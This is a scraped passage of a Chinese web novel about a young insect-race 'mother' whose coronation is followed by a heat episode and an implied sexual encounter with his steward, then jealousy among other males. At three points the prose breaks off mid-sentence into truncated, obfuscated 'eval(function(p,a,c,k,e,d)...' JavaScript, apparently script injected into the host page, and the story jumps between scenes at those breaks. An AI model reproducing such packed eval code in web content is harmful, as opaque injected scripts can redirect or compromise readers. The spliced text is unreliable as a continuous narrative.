穿礼服的过程是一场漫长的战役。 先是一件贴身的丝质内袍,然后是第二层绣着银纹的罩袍,再然后是一件坠着珠饰的外袍,腰上要系三根系带,有一道开锁,拉开之后可以露出尚且平坦的小腹。 但是本该突出孕腹的衣服,因为青涩的小虫母尚未怀孕而失去了设计的意义。 但虫母迟早会怀孕的。 阿默尔被折腾得触须都软了,靠在瑟维格身上,一脸的生无可恋。 瑟维格一边替他整理最后一层衣摆,一边忍着笑:“陛下,好了,真的好了。” 阿默尔低头看了看自己 他抬起头,用眼神问:好看吗? 瑟维格退后一步,认真地打量着他。 “好看。”他的声音比平时低了一点,“陛下,您……很好看。” 阿默尔弯起眼睛笑了。 “陛下,请。” * 仪式在城堡最顶层的王座厅举行。 阿默尔穿过长长的走廊,走过高高的台阶,最后停在一扇巨大的门前。 门是关着的,但他能听见门那边传来的声音——无数翅膀扇动的声音,无数呼吸交织的声音,还有低沉而庄严的吟唱。 他忽然有些紧张。 门打开,光涌了进来。 那是一种他从未见过的光,金色的、温暖的、像是无数颗星星同时落在身上的光。 光的尽头,是一座高高的王座,通体银白,椅背上刻着繁复的纹路,在光里流淌着淡淡的辉光。 王座两侧,是密密麻麻的身影。 有翅翼斑斓的蝶族,有身形魁梧的甲族,有尾钩锋利的蛛族,有膜翅透明的蜻蜓族——他们全都跪着,将额头贴在地面上,一动不动。 阿默尔站在门口,望着那条长长的、通往王座的路,忽然觉得腿有些软。 就在这时,他听见了一个声音。 那不是任何雄虫的声音,那是—— “咕噜。” 阿默尔猛地抬起头。 王座两侧的尽头,有三道巨大的身影正朝他奔来。 灰褐色的甲壳,圆溜溜的眼睛,长粗的四肢,还有拼命扇动的翅膀—— 铁甲。 小宝。 长爪。 阿默尔的眼睛瞬间亮了! 他忘了礼仪,忘了那些跪着的子民,忘了那条长长的路,他只是提起那层层叠叠的衣摆,朝着那三道身影跑过去。 “呜——” 铁甲第一个冲到他面前,巨大的脑袋低下来,轻轻蹭了蹭他的脸。 那触感和荒星上一样,粗糙又温暖,带着阿默尔熟悉的安心气息。 小宝从旁边挤过来,用脑袋拱了拱他的手,发出那种软软的像撒娇一样的咕噜声。 长爪慢了一步,但它没有往前挤,只是安静地站在旁边,用那条带着毒钩的尾巴轻轻缠上阿默尔的手腕——那动作极轻,像在说:我也在。 阿默尔抱住铁甲的脑袋,把脸埋进那粗糙的甲壳里。 他忽然觉得,那些紧张、那些不安、那些对陌生世界的害怕,都被这三个大家伙轻轻撞散了。 整个王座厅一片寂静。 所有跪着的虫族都抬起头,看着他们的虫母陛下正被三只巨大的德亚加虫围在中间,抱着它们的脑袋,笑得眼睛弯成月牙。 铁甲第一个动起来。 它低下巨大的脑袋,用上颚轻轻叼住阿默尔的衣,抬起头,把阿默尔稳稳地托了起来。 阿默尔惊呼一声,下意识地抓住铁甲的触角。 铁甲把他放在自己宽阔的背上,然后,它迈开步子,朝着王座走去。小宝和长爪一左一右跟在旁边,像是两尊忠诚的护卫。 阿默尔坐在铁甲背上,双手抓着它的触角,身后的衣摆垂落下来,在光里拖出一道长长的银白色影子。 他低头看着铁甲宽阔的脊背,又抬头看看越来越近的王座,忽然觉得这样也很好,不用自己走那长长的路,一直有它们陪着。 铁甲走到王座前,停了下来。 它小心翼翼地低下头,用上颚轻轻托住阿默尔的身体,把他从自己背上接下来,然后轻轻一送。 阿默尔落在了王座上。 那王座比他想象的要大很多,他的双脚悬着,够不到地面,身后的椅背太高,他整个人陷在里面,像一只误入巨人国的小鸟。 但他没有害怕。 因为铁甲蹲在王座左边,小宝蹲在王座右边,长爪趴在王座下面,那条带着毒钩的尾巴,轻轻搭在他的脚背上。 王座厅里,不知是谁第一个跪了下去。 然后是第二个,第三个,第无数个。 密密麻麻的身影俯伏在地,翅翼收敛,尾钩垂落。 虫母的冠冕被瑟维格轻轻戴在他头上,那冠冕很轻,像一缕光落在发间。 然后有虫族依次上前,跪在他面前,报上自己的名字和领地,阿默尔对着他们一个一个地点头微笑,每一个被他笑着点过头的虫族,眼眶都会泛红,有些年轻一点的,直接当场落下泪来。 阿默尔有些慌,用眼神问瑟维格:他们怎么哭了? 瑟维格站在王座旁边,弯下腰,在他耳边轻声道:“他们高兴,陛下,等了一辈子,终于等到您了。” 后面的觐见,每一个上前跪拜的虫族,都会收获阿默尔一个点头、一个微笑,偶尔还会有几只特别幸运的,被他伸出手摸摸头,或者轻轻碰碰翅膀。 明明是庄严肃穆的仪式,却像是什么大型犬集体被治愈的现场。 当最后一个虫族退下时,阿默尔已经困得快睁不开眼了,他靠在王座巨大的椅背上,触须软软地垂着,眼皮一点一点往下掉。 瑟维格轻轻走到他身边,弯下腰:“陛下,结束了,可以回去了。” 阿默尔睁开一只眼,看着他,比划了一个手势:抱。 瑟维格笑了,弯下腰,将那只困得软成一团的小虫母从王座上抱起来,阿默尔在他怀里蹭了蹭,找了个舒服的姿势,眼睛一闭,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿默尔看着他,松开一只手,比划了一个手势:我……怎么了? “陛下,”他的声音很轻,“您发情了。” 阿默尔愣住了。 发情? 那个瑟维格在飞船上说过很多次的词,那个他一直没有真正理解的词。 又一阵热浪涌上来,比之前更猛烈。 阿默尔整个人一软,靠在瑟维格身上,浑身都在发抖。 那截尾巴无意识地缠上瑟维格的手腕,缠得很紧,瑟维格的身体僵了一瞬。 然后他伸出手,轻轻环住那只发抖的小虫母,把他护在怀里。 “没事的,”他的声音在阿默尔耳边轻轻响起,温柔得像月光,“陛下,没事的,您会有发情期,这是正常的,您只是需要习惯一下。” 阿默尔艰难地问:你能帮我吗? 瑟维格的心猛地一跳,“陛下,我……”他想说不可以,但是在虫族只要虫母需要就没什么不可以的。 “……是的,陛下。”他终究低声回答,每一个字都像在喉咙里滚过一遍,“我可以帮您。但您确定……要这样吗?” 他的另一只手抬起来,很轻地落在阿默尔的脊背上,隔着衣料能触到底下蝴蝶骨的形状。 虫族的本能在他体内叫嚣,催促他服从虫母的每一个需求、每一个暗示。 可是忠诚让他停在了这一步,他把选择权交还给了那个正在情热中煎熬的年轻虫母。 “如果这是您真正想要的。”他低声补充,声音里带着一丝自己都未察觉的沙哑,“我会满足您的一切需要,我会服侍您,直至您满意。” 24. 第 24 章 阿默尔没有立刻回答。 他只是蜷在瑟维格怀里,把脸埋得更深了一些,那截尾巴还缠着瑟维格的手腕,缠得很紧,像是怕他跑掉。 又一阵热浪涌上来。 阿默尔的身体猛地一颤,喉咙里溢出细细的呜咽。 他的手指攥紧了瑟维格的衣襟,指甲隔着衣料陷进掌心里,不敢乱动了。 瑟维格低头看着他。 那件睡袍已经完全湿透了,薄薄的丝质布料贴在他身上,勾勒出底下纤细的轮廓。 蜜液的甜香浓得几乎要溢出房间,一缕一缕地钻进鼻腔,像无数只无形的手,轻轻拨动着理智的弦。 他的喉结滚动了一下,但他没有动。 他只是抱着那只发抖的小虫母,一动不动地跪在床边。 “陛下,”他的声音比刚才更哑了一些,“您还没回答我。” 阿默尔从他怀里抬起头。 那双灰蓝色的眼睛湿漉漉的,眼尾泛着潮红,睫毛上挂着细细的水珠。 他看着瑟维格,看着那双盛满温柔和克制的眼睛,忽然觉得心里有什么东西软了一下。 他松开攥着瑟维格衣襟的手,抬起手,比划了一个手势:你不想吗? 瑟维格看懂了。 他看懂了那个手势,也看懂了阿默尔眼睛里那一点点小心翼翼的,像怕被拒绝一样的试探。 他闭了闭眼。 “……想。”他的声音从喉咙深处挤出来,沙哑得几乎不像他,“想得发疯。” 阿默尔愣住了。 “从我见到您的第一眼,就想。”他的声音很轻,每一个字都像是从齿缝里磨出来的,“您对我笑的时候,想。您抱我的时候,想。您在我怀里睡着的时候,想。每一天,每一刻,都在想。” 阿默尔的呼吸微微急促起来,不是因为发情期,是因为瑟维格的眼睛,那双眼睛里的光,太烫了。 瑟维格看着他,忽然轻轻笑了一下,笑容里带着一丝苦涩,一丝无奈,还有一丝说不清的什么。 “但我不能。”他说,“我是您的管家。我的职责是服侍您,不是……占有您。” 阿默尔张了张嘴,想说什么,却发不出声音。 又一阵热浪涌上来,这一次比之前更猛烈。 阿默尔的整个身体都软了下去,靠在瑟维格身上,只能无力地抓着他的衣襟,浑身都在发抖,那截尾巴缠得更紧了,缠得瑟维格的手腕都开始发麻。 瑟维格低下头,对上那双水汽氤氲的眼睛。 “帮我。”阿默尔用口型说,无声,但清清楚楚。 瑟维格闭上眼。 三秒。 他用了三秒,把那些“不能”“不该”“不可以”全部压进心底最深处。 然后他睁开眼。 “好。”他说。 瑟维格低下头,轻轻吻住阿默尔的唇。 那是一个很轻的吻,只是贴着,没有深入,像是在试探,像是在确认,像是在问:真的可以吗? 阿默尔的回应是抬起手,搂住他的脖子。 瑟维格闭了闭眼,加深了这个吻。 唇舌交缠的触感比阿默尔想象的要软,要暖,瑟维格的吻和他的虫品一样,温柔、耐心、带着一点小心翼翼的克制,像是在品尝什么珍贵到不敢用力触碰的东西。 阿默尔被他吻得有些喘不过气,却没有推开他。 那截缠在手腕上的尾巴不知不觉松开了,软软地垂下去,又悄悄缠上了瑟维格的腰。 瑟维格的身体微微一僵。 然后他松开阿默尔的唇,低头看着他。 阿默尔的脸红透了,眼睛湿漉漉的,嘴唇被吻得微微发肿,带着水光。 他仰着头看着瑟维格,那双灰蓝色的眼睛里,除了情热的水汽,还有一点点茫然,一点点依赖,和一点点……期待。 瑟维格深吸一口气。 “陛下,”他的声音沙哑得几乎不成调,“接下来的事,您可能……会有点疼,我会尽量轻,但您如果受不了,随时告诉我,我们就停下来。” 阿默尔眨了眨眼,似懂非懂地点了点头。 瑟维格轻轻把他放倒在床上。 那张大床很软,阿默尔陷进去,银白色的长发散落在枕头上,像一捧落下的月光。 他的尾巴有些不安地轻轻摆动着,尾尖微微蜷曲。 瑟维格跪在床边,伸出手,握住了阿默尔的虫母尾巴。 “……”阿默尔自己也说不清那是什么感觉,太奇怪了,太陌生了,像是有无数只蝴蝶在身体里扑腾。 瑟维格轻轻笑了,“陛下,您真是可爱。” 他吻了吻阿默尔的额头,阿默尔的呼吸越来越急促,喉咙里溢出细细的、他自己都没意识到的声音。 不是呜咽,是……别的什么。 瑟维格的动作顿了顿。 他抬起头,看着阿默尔那双逐渐迷离的眼睛,心跳快得几乎要炸开。 接下来的时间,有时候是瑟维格在动手,有时候是阿默尔无意识地缠上去。 他的尾巴尖一直缠着瑟维格,缠得很紧,像是怕他跑掉。 阿默尔的眼泪落了几次,不是因为疼,而是因为那种感觉像被带到一个从未去过的地方。 蜜液的甜香越来越浓,浓到几乎要溢出门缝。 门外,雄虫们站在走廊里,谁也没有说话。 他们都能闻到那缕甜香,都能感知到房间里正在发生什么。 有些背靠着墙,闭着眼,胸口剧烈起伏。 有些低着头,发丝遮住了表情,只有肩膀在轻轻颤抖。 还有雄虫的完全张开着,鳞粉落了一地,却没有心思去收。 * 房间里,声音渐渐平息下去。 瑟维格抱着怀里那只已经累得睁不开眼的小虫母,轻轻替他擦拭着尾巴。 虫母是用尾巴进行产卵的,自然也有繁殖腔。 阿默尔的尾巴还缠着他,但已经没有力气了,只是软软地搭着。 “陛下?”瑟维格轻声叫他。 阿默尔没有应,他已经睡着了。 瑟维格在阿默尔的额头上落下一个极轻的吻。 “晚安,陛下。”他轻声道,“做个好梦。” 窗外,月光静静地落着。 阿默尔一夜无梦。 第二天,王宫里传遍了,虫母昨夜宠幸了瑟维格,每一个听到这个消息的虫族, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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阿默尔又躺下了,瑟维格站起身,轻手轻脚地走到门边,拉开门出去了。 门外,艾凛站着,声音比平时更沉:“他……陛下还好吗?” 瑟维格点点头:“昨晚他太累,刚才又睡着了,怎么了吗,艾凛上将?” 又一阵沉默。 艾凛忽然低声道:“你昨晚对他做了……” 他张了张嘴,却不知道说什么。质问?嫉妒?愤怒?都有,又都不是,他只是站在那里,像一头被困住的野兽,胸口堵得发慌。 瑟维格眼眸淡淡的,“上将,你想说什么我都知道,你现在心里是什么滋味,我也知道,因为我也是雄虫,我也苦等了虫母许多年。” 瑟维格靠在门框上,光落在他的侧脸上,落在那双温柔得明亮的眼睛里。 “但昨晚不是我选的,是陛下选的。陛下需要谁,谁就在。陛下选谁,谁就陪他。陛下想要我,我自然也没办法推拒。” 瑟维格顿了顿,嘴角弯起一个得意的淡淡弧度:“我以为,这个道理,你在荒星的时候就懂了,上将?” 25. 第 25 章 瑟维格那副被“疼爱”过的嘴脸,带着淡淡得意与温和宣告的笑容,像一根烧红的针,刺入艾凛本来就紧绷了一整晚的神经。 ……凭什么?凭什么瑟维格仅仅认识了他几天,就得到了他如此疼爱? 艾凛下颌的线条骤然绷紧,眼眸深处,仿佛有风暴在无声酝酿,几乎要凝结成冰。 他周身属于顶级掠食者的冰冷气息瞬间扩散开来,走廊里的空气都仿佛降低了数度。 “瑟维格。”艾凛的声音低沉而缓慢,每一个字都像是从冰层下碾过,“注意你的言辞,他对你的喜爱只是一时的。” 瑟维格脸上的笑意未减,反而更加坦然,甚至带着一丝悲悯般的理解:“我很清楚,上将。我只是在陈述一个事实,一个我们都必须接受的事实。” 他微微侧身,目光扫过门缝内隐约可见的、在床上安静沉睡的轮廓,声音放得更轻,却字字清晰,“虫母陛下,他拥有绝对的意志。昨夜如此,未来亦如此。我们所能做的,只是等待,然后尽己所能地侍奉,只要他喜欢我一天,我觉得这么做。” 这番话语,比任何挑衅都更具杀伤力,它剥开了所有雄虫心照不宣的挣扎与渴望,直白地揭示了他们在虫母面前卑微的被动地位。 艾凛也不例外。 他的手指在身侧微微蜷缩,骨节发出轻微的脆响。 他想反驳,想质问瑟维格是否利用了阿默尔的懵懂与依赖,想斥责他僭越, 但最终,所有话语都堵在胸口,化为一声压抑而沉重的呼吸。 因为瑟维格说得对,虫母的选择,是至高的恩典,也是不可违逆的法则,昨夜守在门外,清晰感知到室内弥漫开的、属于虫母成熟期和另一只雄虫气息交织的浓烈信息素时,那种几乎要将理智焚烧殆尽的嫉妒与痛苦,此刻仍在啃噬着他的心脏。 但他不能,也没有资格,对瑟维格做什么。 更何况……艾凛的目光也不由自主地飘向门内。 那只小虫母,此刻正无知无觉地沉睡着,对门外因他而起的暗流汹涌毫不知情。 他累坏了,需要休息,任何争执与喧哗,都可能惊扰到他。 最终,艾凛只是深深地、冰冷地看了瑟维格一眼,那眼神里包含了太多复杂的情绪,他没有再说话,挺直了背脊,转身离开,军靴踏在地毯上,每一步都压抑着巨大的力量。 瑟维格目送他高大的背影消失在走廊转角,脸上那抹从容的笑意才渐渐淡去,化为一丝微不可查的复杂。 他并非故意炫耀,只是昨晚的一切,对他而言同样是惊涛骇浪,是甜蜜与煎熬的交织,他比谁都清楚自己得到了什么,又因此背负了什么—— 成为第一个真正意义上“侍寝”的雄虫,这意味着无上的荣耀,也意味着将置身于所有目光的焦点,甚至可能是其他雄虫敌意的中心。 但他不后悔。 轻轻带上门,将一切纷扰隔绝在外,瑟维格走回床边。 阿默尔似乎睡得不太安稳,微微蹙着眉,尾巴无意识地蜷缩了一下,瑟维格的心瞬间软了下来,他单膝跪在床边,伸手,极轻极缓地抚平阿默尔眉间的褶皱,指尖带着安抚的意味,梳理着他额前微湿的银发。 阿默尔在睡梦中感受到了熟悉又安心的气息,眉头舒展开,无意识地用脸颊蹭了蹭瑟维格的手心,发出一声模糊的鼻音,然后又沉沉睡去。 瑟维格的指尖停顿在那里,感受着那份毫无防备的依赖与温热,眼眸里温柔几乎要满溢出来,却也沉淀着更深邃的决心。 他低头,在那光洁的额头上落下吻。 “我的陛下,”他用只有自己能听到的声音低语,“无论未来有多少风雨,多少注视,多少……争夺,我都会是您最忠诚的屏障。” 他重新站起身,开始无声地整理略显凌乱的床铺,捡起地上散落的、属于阿默尔的丝质睡袍,将它仔细折叠好。 然后,他走到窗边,将厚重的窗帘拉开一道缝隙,让清晨更柔和的阳光洒进来,却又不会直接照到阿默尔的眼睛。 做完这一切,他静静地站在床边,目光片刻不离床上安睡的身影。 门外王宫的议论纷纷,其他雄虫翻涌的心绪,此刻都被他屏蔽在外。 他的世界里,只剩下这片小小的、静谧的天地,和他的小虫母。 阳光渐渐升高,透过窗帘缝隙,在阿默尔睫毛上跳跃。 他长长的睫毛颤动了几下,终于缓缓睁开,灰蓝色的眼眸初时还带着惺忪的睡意和迷茫,像蒙着一层水雾。 他眨了眨眼,意识慢慢回笼,昨晚破碎的记忆片段涌入脑海——炙热的呼吸,交织的唇舌,温柔的触碰,以及最后那几乎将他灵魂都抽离的、陌生又汹涌的感受…… 阿默尔的脸颊后知后觉地迅速漫上红晕,一直烧到耳根。 他下意识地动了动身体,四肢百骸传来一种奇异的酸软感,并不疼痛,却清晰地提醒着他昨夜发生了什么。 尤其是……尾巴根部,还残留着一种难以言喻的、微微发胀的异样感。 他有些慌乱地转头,恰好对上了瑟维格温柔凝视的目光。 瑟维格不知何时已经再次单膝跪在了床边,见他醒来,眼中笑意加深,声音放得极轻,带着晨间特有的微哑:“早安,陛下。您睡得好吗?” 阿默尔张了张嘴,却发不出声音,只是脸颊更红了。 他点了点头,目光却有些躲闪,不太好意思直视瑟维格。 他想起身,却发现身体软绵绵的没什么力气,刚撑起一点,就有些脱力地歪了歪。 瑟维格立刻伸手扶住他,动作熟练而自然,“小心,陛下。您消耗了太多体力,需要慢慢恢复。” 他拿起那件干净的睡袍,仔细地帮阿默尔披上,系好带子,每一个动作都轻柔体贴,没有丝毫不耐。 阿默尔低头看着自己身上清爽干净的肌肤,又感受了一下干爽的尾巴,知道瑟维格一定在他睡着后仔细地为他清理过了。 一股暖流混杂着羞涩涌上心头,他抬起眼,看向瑟维格,比划着手势:你……一直没睡? 瑟维格看懂了,微笑着摇头:“我休息过了,陛下。看着您安睡,就是最好的休息。” 阿默尔咬了咬下唇,犹豫了一下,还是慢慢伸出手,指尖轻轻碰了碰瑟维格的眼睑下方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他并非毫无所觉,昨晚经历的一切,像在他原本简单感知的世界里打开了一扇新的大门,门后是汹涌澎湃的、属于成年雄虫的浓烈情感与欲望。 这扇门一旦开启,便难以完全关上,他对周围气息的感知,似乎也变得更加敏锐。 门外,走廊的拐角,阴影里……那些原本被他熟悉或不熟悉的气息,此刻正以一种复杂而混乱的方式交织、碰撞,像无数根绷紧的弦,在无声中发出只有他能隐约捕捉到的震颤。 有冰冷的、压抑着风暴的锐利气息,属于艾凛,像淬了冰的刀锋,即使隔着门板也带着刺骨的寒意和不甘。 有灼热的、几乎要将空气点燃的暴躁与渴望,属于欧迦,如同即将喷发的熔岩,充满了原始的侵略性。 有清雅却隐含锋锐的、如同月光下蝶翼轻颤的美妙波动,属于维萨,平静表象下是难以解读的幽深。 还有更多……混杂着敬畏、嫉妒、渴望……甚至是隐秘觊觎的气息,来自那些他可能只见过一两面,甚至未曾谋面的雄虫。 他们都爱他…… 这可怎么办? 他选不出来啊。